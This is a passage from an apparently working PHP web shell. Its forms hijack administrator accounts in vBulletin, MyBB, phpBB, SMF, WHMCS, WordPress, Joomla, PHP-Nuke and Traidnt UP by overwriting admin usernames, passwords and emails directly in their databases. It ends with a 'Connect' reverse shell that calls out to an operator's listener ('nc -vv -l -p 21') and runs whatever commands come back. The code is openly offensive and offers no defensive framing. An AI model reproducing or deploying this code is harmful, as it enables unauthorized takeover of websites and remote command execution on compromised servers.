border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Table prefix
</font><input value=vb_ type=text name=prvb size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>User admin
</font><input value=admin type=text name=urvb size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>New password admin
</font><input value=Marion001 type=text name=psvb size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>New E-mail admin
</font><input value=C1G@hotmail.com type=text name=emvb size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<input type=submit value='Change' >

";
}else{ $dbhvb = $_POST['dbhvb'];
$dbnvb = $_POST['dbnvb'];
$dbuvb = $_POST['dbuvb'];
$dbpvb = $_POST['dbpvb'];
@mysql_connect($dbhvb,$dbuvb,$dbpvb);
@mysql_select_db($dbnvb);
$urvb=str_replace("\'","'",$urvb);
$set_urvb = $_POST['urvb'];
$psvb=str_replace("\'","'",$psvb);
$pass_vb = $_POST['psvb'];
$emvb=str_replace("\'","'",$emvb);
$set_emvb = $_POST['emvb'];
$vb_prefix = $_POST['prvb'];
$table_name = $vb_prefix."user" ;
$query = 'select * from ' . $table_name . ' where username="' . $set_urvb . '";

';
$result = mysql_query($query);
$row = mysql_fetch_array($result);
$salt = $row['salt'];
$pass2 = md5($pass_vb);
$pass =$pass2 . $salt;
$set_pssalt = md5($pass);
$tiger1 = 'UPDATE ' . $table_name . ' SET password="' . $set_pssalt . '" WHERE username="' . $set_urvb . '";

';
$tiger2 = 'UPDATE ' . $table_name . ' SET email="' . $set_emvb . '" WHERE username="' . $set_urvb . '";

';
$ok1=@mysql_query($tiger1);
$ok1=@mysql_query($tiger2);
if($ok1){ echo "<script>alert('vBulletin Info Changed ;

)');

</script>";
} } if (isset($_POST['mybb'])) { echo "
<table border=0 width='100%'>

<font face='Arial' color='#000000'>Change MyBB Info
Patch Control Panel : [patch]/admin
Path Config : [patch]/inc/config.php</font>

<font face='Arial' color='#000000'>Mysql Host</font>
<input value=localhost type=text name=dbhmy size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB name
</font><input value=mybb type=text name=dbnmy size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB user
</font><input value=root type=text name=dbumy size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB password
</font><input value=admin type=text name=dbpmy size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Change user admin
</font><input value=Marion001 type=text name=urmy size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Change E-mail admin
</font><input value=C1G@hotmail.com type=text name=emmy size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Table prefix
</font><input value=mybb_ type=text name=prmy size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<input type=submit value='Change' >
";
}else{ $dbhmy = $_POST['dbhmy'];
$dbnmy = $_POST['dbnmy'];
$dbumy = $_POST['dbumy'];
$dbpmy = $_POST['dbpmy'];
@mysql_connect($dbhmy,$dbumy,$dbpmy);
@mysql_select_db($dbnmy);
$urmy=str_replace("\'","'",$urmy);
$set_urmy = $_POST['urmy'];
$emmy=str_replace("\'","'",$emmy);
$set_emmy = $_POST['emmy'];
$my_prefix = $_POST['prmy'];
$table_name1 = $my_prefix."users" ;
$tiger3 = "UPDATE $table_name1 SET username ='".$set_urmy."' WHERE uid ='1'";
$tiger4 = "UPDATE $table_name1 SET email ='".$set_emmy."' WHERE uid ='1'";
$ok2=@mysql_query($tiger3);
$ok2=@mysql_query($tiger4);
if($ok2){ echo "<script>alert('MyBB Info Changed ;

)');

</script>";
} } if (isset($_POST['phpbb'])) { echo "
<table border=0 width='100%'>

<font face='Arial' color='#000000'>Change phpBB Info
Patch Control Panel : [patch]/adm
Path Config : [patch]/config.php</font>

<font face='Arial' color='#000000'>Mysql Host</font>
<input value=localhost type=text name=dbhphp size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB name
</font><input value=phpbb type=text name=dbnphp size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB user
</font><input value=root type=text name=dbuphp size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB password
</font><input value=admin type=text name=dbpphp size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Change user admin
</font><input value=tiger type=text name=urphp size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Change password admin
</font><input value=tiger type=text name=psphp size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Table prefix
</font><input value=phpbb_ type=text name=prphp size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<input type=submit value='Change' >
";
}else{ $dbhphp = $_POST['dbhphp'];
$dbnphp = $_POST['dbnphp'];
$dbuphp = $_POST['dbuphp'];
$dbpphp = $_POST['dbpphp'];
@mysql_connect($dbhphp,$dbuphp,$dbpphp);
@mysql_select_db($dbnphp);
$urphp=str_replace("\'","'",$urphp);
$set_urphp = $_POST['urphp'];
$psphp=str_replace("\'","'",$psphp);
$pass_php = $_POST['psphp'];
$set_psphp = md5($pass_php);
$php_prefix = $_POST['prphp'];
$table_name2 = $php_prefix."users" ;
$tiger5 = "UPDATE $table_name2 SET username_clean ='".$set_urphp."' WHERE user_id ='2'";
$tiger6 = "UPDATE $table_name2 SET user_password ='".$set_psphp."' WHERE user_id ='2'";
$ok3=@mysql_query($tiger5);
$ok3=@mysql_query($tiger6);
if($ok3){ echo "<script>alert('phpBB Info Changed ;

)');

</script>";
} } if (isset($_POST['smf'])) { echo "
<table border=0 width='100%'>

<font face='Arial' color='#000000'>Change SMF Info
Patch Control Panel : [patch]/index.php?action=admin
Path Config : [patch]/Settings.php</font>

<font face='Arial' color='#000000'>Mysql Host</font>
<input value=localhost type=text name=dbhsmf size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB name
</font><input value=smf type=text name=dbnsmf size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB user
</font><input value=root type=text name=dbusmf size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB password
</font><input value=admin type=text name=dbpsmf size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Change user admin
</font><input value=Marion001 type=text name=ursmf size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Change E-mail admin
</font><input value=C1G@hotmail.com type=text name=emsmf size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Table prefix
</font><input value=smf_ type=text name=prsmf size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<input type=submit value='Change' >
";
}else{ $dbhsmf = $_POST['dbhsmf'];
$dbnsmf = $_POST['dbnsmf'];
$dbusmf = $_POST['dbusmf'];
$dbpsmf = $_POST['dbpsmf'];
@mysql_connect($dbhsmf,$dbusmf,$dbpsmf);
@mysql_select_db($dbnsmf);
$ursmf=str_replace("\'","'",$ursmf);
$set_ursmf = $_POST['ursmf'];
$emsmf=str_replace("\'","'",$emsmf);
$set_emsmf = $_POST['emsmf'];
$smf_prefix = $_POST['prsmf'];
$table_name3 = $smf_prefix."members" ;
$tiger7 = "UPDATE $table_name3 SET member_name ='".$set_ursmf."' WHERE id_member ='1'";
$tiger8 = "UPDATE $table_name3 SET email_address ='".$set_emsmf."' WHERE id_member ='1'";
$tiger7 = "UPDATE $table_name3 SET memberName ='".$set_ursmf."' WHERE ID_MEMBER ='1'";
$tiger8 = "UPDATE $table_name3 SET emailAddress ='".$set_emsmf."' WHERE ID_MEMBER ='1'";
$ok4=@mysql_query($tiger7);
$ok4=@mysql_query($tiger8);
if($ok4){ echo "<script>alert('SMF Info Changed ;

)');

</script>";
} } if (isset($_POST['whmcs'])) { echo "
<table border=0 width='100%'>

<font face='Arial' color='#000000'>Change WHMCS Info
Patch Control Panel : [patch]/admin
Path Config : [patch]/configuration.php</font>

<font face='Arial' color='#000000'>Mysql Host</font>
<input value=localhost type=text name=dbhwhm size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB name
</font><input value=whmcs type=text name=dbnwhm size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB user
</font><input value=root type=text name=dbuwhm size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB password
</font><input value=admin type=text name=dbpwhm size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Change user admin
</font><input value=Marion001 type=text name=urwhm size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Change password admin
</font><input value=Marion001 type=text name=pswhm size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<input type=submit value='Change' >
";
}else{ $dbhwhm = $_POST['dbhwhm'];
$dbnwhm = $_POST['dbnwhm'];
$dbuwhm = $_POST['dbuwhm'];
$dbpwhm = $_POST['dbpwhm'];
@mysql_connect($dbhwhm,$dbuwhm,$dbpwhm);
@mysql_select_db($dbnwhm);
$urwhm=str_replace("\'","'",$urwhm);
$set_urwhm = $_POST['urwhm'];
$pswhm=str_replace("\'","'",$pswhm);
$pass_whm = $_POST['pswhm'];
$set_pswhm = md5($pass_whm);
$tiger9 = "UPDATE tbladmins SET username ='".$set_urwhm."' WHERE id ='1'";
$tiger10 = "UPDATE tbladmins SET password ='".$set_pswhm."' WHERE id ='1'";
$ok5=@mysql_query($tiger9);
$ok5=@mysql_query($tiger10);
if($ok5){ echo "<script>alert('WHMCS Info Changed ;

)');

</script>";
} } if (isset($_POST['wordpress'])) { echo "
<table border=0 width='100%'>

<font face='Arial' color='#000000'>Change WordPress Info
Patch Control Panel : [patch]/wp-admin
Path Config : [patch]/wp-config.php</font>

<font face='Arial' color='#000000'>Mysql Host</font>
<input value=localhost type=text name=dbhwp size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB name
</font><input value=wordpress type=text name=dbnwp size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB user
</font><input value=root type=text name=dbuwp size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB password
</font><input value=admin type=text name=dbpwp size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Change user admin
</font><input value=Marion001 type=text name=urwp size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Change password admin
</font><input value=Marion001 type=text name=pswp size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Table prefix
</font><input value=wp_ type=text name=prwp size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<input type=submit value='Change' >
";
}else{ $dbhwp = $_POST['dbhwp'];
$dbnwp = $_POST['dbnwp'];
$dbuwp = $_POST['dbuwp'];
$dbpwp = $_POST['dbpwp'];
@mysql_connect($dbhwp,$dbuwp,$dbpwp);
@mysql_select_db($dbnwp);
$urwp=str_replace("\'","'",$urwp);
$set_urwp = $_POST['urwp'];
$pswp=str_replace("\'","'",$pswp);
$pass_wp = $_POST['pswp'];
$set_pswp = md5($pass_wp);
$wp_prefix = $_POST['prwp'];
$table_name4 = $wp_prefix."users" ;
$tiger11 = "UPDATE $table_name4 SET user_login ='".$set_urwp."' WHERE ID ='1'";
$tiger12 = "UPDATE $table_name4 SET user_pass ='".$set_pswp."' WHERE ID ='1'";
$ok6=@mysql_query($tiger11);
$ok6=@mysql_query($tiger12);
if($ok6){ echo "<script>alert('WordPress Info Changed ;

)');

</script>";
} } if (isset($_POST['joomla'])) { echo "
<table border=0 width='100%'>

<font face='Arial' color='#000000'>Change Joomla Info
Patch Control Panel : [patch]/administrator
Path Config : [patch]/configuration.php</font>

<font face='Arial' color='#000000'>Mysql Host</font>
<input value=localhost type=text name=dbhjos size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB name
</font><input value=joomla type=text name=dbnjos size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB user
</font><input value=root type=text name=dbujos size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB password
</font><input value=admin type=text name=dbpjos size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Change user admin
</font><input value=Marion001 type=text name=urjos size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Change password admin
</font><input value=Marion001 type=text name=psjos size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Table prefix
</font><input value=jos_ type=text name=prjos size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<input type=submit value='Change' >
";
}else{ $dbhjos = $_POST['dbhjos'];
$dbnjos = $_POST['dbnjos'];
$dbujos = $_POST['dbujos'];
$dbpjos = $_POST['dbpjos'];
@mysql_connect($dbhjos,$dbujos,$dbpjos);
@mysql_select_db($dbnjos);
$urjos=str_replace("\'","'",$urjos);
$set_urjos = $_POST['urjos'];
$psjos=str_replace("\'","'",$psjos);
$pass_jos = $_POST['psjos'];
$set_psjos = md5($pass_jos);
$jos_prefix = $_POST['prjos'];
$table_name5 = $jos_prefix."users" ;
$tiger13 = "UPDATE $table_name5 SET username ='".$set_urjos."' WHERE id ='62'";
$tiger14 = "UPDATE $table_name5 SET password ='".$set_psjos."' WHERE id ='62'";
$ok7=@mysql_query($tiger13);
$ok7=@mysql_query($tiger14);
if($ok7){ echo "<script>alert('Joomla Info Changed ;

)');

</script>";
} } if (isset($_POST['php-nuke'])) { echo "
<table border=0 width='100%'>

<font face='Arial' color='#000000'>Change PHP-NUKE Info
Patch Control Panel : [patch]/admin.php
Path Config : [patch]/config.php</font>

<font face='Arial' color='#000000'>Mysql Host</font>
<input value=localhost type=text name=dbhpnk size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB name
</font><input value=phpnuke type=text name=dbnpnk size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB user
</font><input value=root type=text name=dbupnk size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB password
</font><input value=admin type=text name=dbppnk size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Change user admin
</font><input value=Marion001 type=text name=urpnk size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Change password admin
</font><input value=Marion001 type=text name=pspnk size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Table prefix
</font><input value=nuke_ type=text name=prpnk size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<input type=submit value='Change' >
";
}else{ $dbhpnk = $_POST['dbhpnk'];
$dbnpnk = $_POST['dbnpnk'];
$dbupnk = $_POST['dbupnk'];
$dbppnk = $_POST['dbppnk'];
@mysql_connect($dbhpnk,$dbupnk,$dbppnk);
@mysql_select_db($dbnpnk);
$urpnk=str_replace("\'","'",$urpnk);
$set_urpnk = $_POST['urpnk'];
$pspnk=str_replace("\'","'",$pspnk);
$pass_pnk = $_POST['pspnk'];
$set_pspnk = md5($pass_pnk);
$pnk_prefix = $_POST['prpnk'];
$table_name6 = $pnk_prefix."users" ;
$table_name7 = $pnk_prefix."authors" ;
$tiger15 = "UPDATE $table_name6 SET username ='".$set_urpnk."' WHERE user_id ='2'";
$tiger16 = "UPDATE $table_name6 SET user_password ='".$set_pspnk."' WHERE user_id ='2'";
$tiger17 = "UPDATE $table_name7 SET aid ='".$set_urpnk."' WHERE radminsuper ='1'";
$tiger18 = "UPDATE $table_name7 SET pwd ='".$set_pspnk."' WHERE radminsuper ='1'";
$ok8=@mysql_query($tiger15);
$ok8=@mysql_query($tiger16);
$ok8=@mysql_query($tiger17);
$ok8=@mysql_query($tiger18);
if($ok8){ echo "<script>alert('PHP-NUKE Info Changed ;

)');

</script>";
} } if (isset($_POST['up'])) { echo "
<table border=0 width='100%'>

<font face='Arial' color='#000000'>Change Traidnt UP Info
Patch Control Panel : [patch]/uploadcp
Path Config : [patch]/includes/config.php</font>

<font face='Arial' color='#000000'>Mysql Host</font>
<input value=localhost type=text name=dbhup size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB name
</font><input value=upload type=text name=dbnup size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB user
</font><input value=root type=text name=dbuup size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB password
</font><input value=admin type=text name=dbpup size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Change user admin
</font><input value=Marion001 type=text name=urup size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>Change password admin
</font><input value=Marion001 type=text name=psup size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<input type=submit value='Change' >
";
}else{ $dbhup = $_POST['dbhup'];
$dbnup = $_POST['dbnup'];
$dbuup = $_POST['dbuup'];
$dbpup = $_POST['dbpup'];
@mysql_connect($dbhup,$dbuup,$dbpup);
@mysql_select_db($dbnup);
$urup=str_replace("\'","'",$urup);
$set_urup = $_POST['urup'];
$psup=str_replace("\'","'",$psup);
$pass_up = $_POST['psup'];
$set_psup = md5($pass_up);
$tiger19 = "UPDATE admin SET admin_user ='".$set_urup."' WHERE admin_id ='1'";
$tiger20 = "UPDATE admin SET admin_password ='".$set_psup."' WHERE admin_id ='1'";
$ok9=@mysql_query($tiger19);
$ok9=@mysql_query($tiger20);
if($ok9){ echo "<script>alert('Traidnt UP Info Changed ;

)');

</script>";
} }



Marion001 Connect print ( '<title>Marion001 Connect</title>' );
echo "
<table border='1' width='40%' id='table1' border='1' cellPadding=5 cellSpacing=0 borderColorDark=#666666 bordercolorlight='#C0C0C0'>

<font color='#FF0000'>
</font><font size='4'><font color='#FF0000'>
</font><font color='#FF0000'>
Marion001</font><font color='#000000'>
</font>
<font color='#0000FF'>

Marion001 Connect

Usage: nc -vv -l -p 21

<hr>


Your IP & Port:

<input type='text' name='ipim' size='15' value=''>
<input type='text' name='portum' size='5' value='21'>


<input type='submit' value='Connect'>


<hr>
";
$ipim=$_POST['ipim'];
$portum=$_POST['portum'];
if ($ipim <> "") { $mucx=fsockopen($ipim , $portum , $errno, $errstr );
if (!$mucx){ $result = "Error: didnt connect !!!";
} else { $zamazing0="\n";
fputs ($mucx ,"\nwelcome Mr.TiGeR\n\n");
fputs($mucx , system("uname -a") .$zamazing0 );
fputs($mucx , system("pwd") .$zamazing0 );
fputs($mucx , system("id") .$zamazing0.$zamazing0 );
while(!feof($mucx)){ fputs ($mucx);
$one="[$";
$two="]";
$result= fgets ($mucx, 8192);
$message=`$result`;
fputs ($mucx, $one. system("whoami") .$two. " " .$message."\n");
} fclose ($mucx);
} }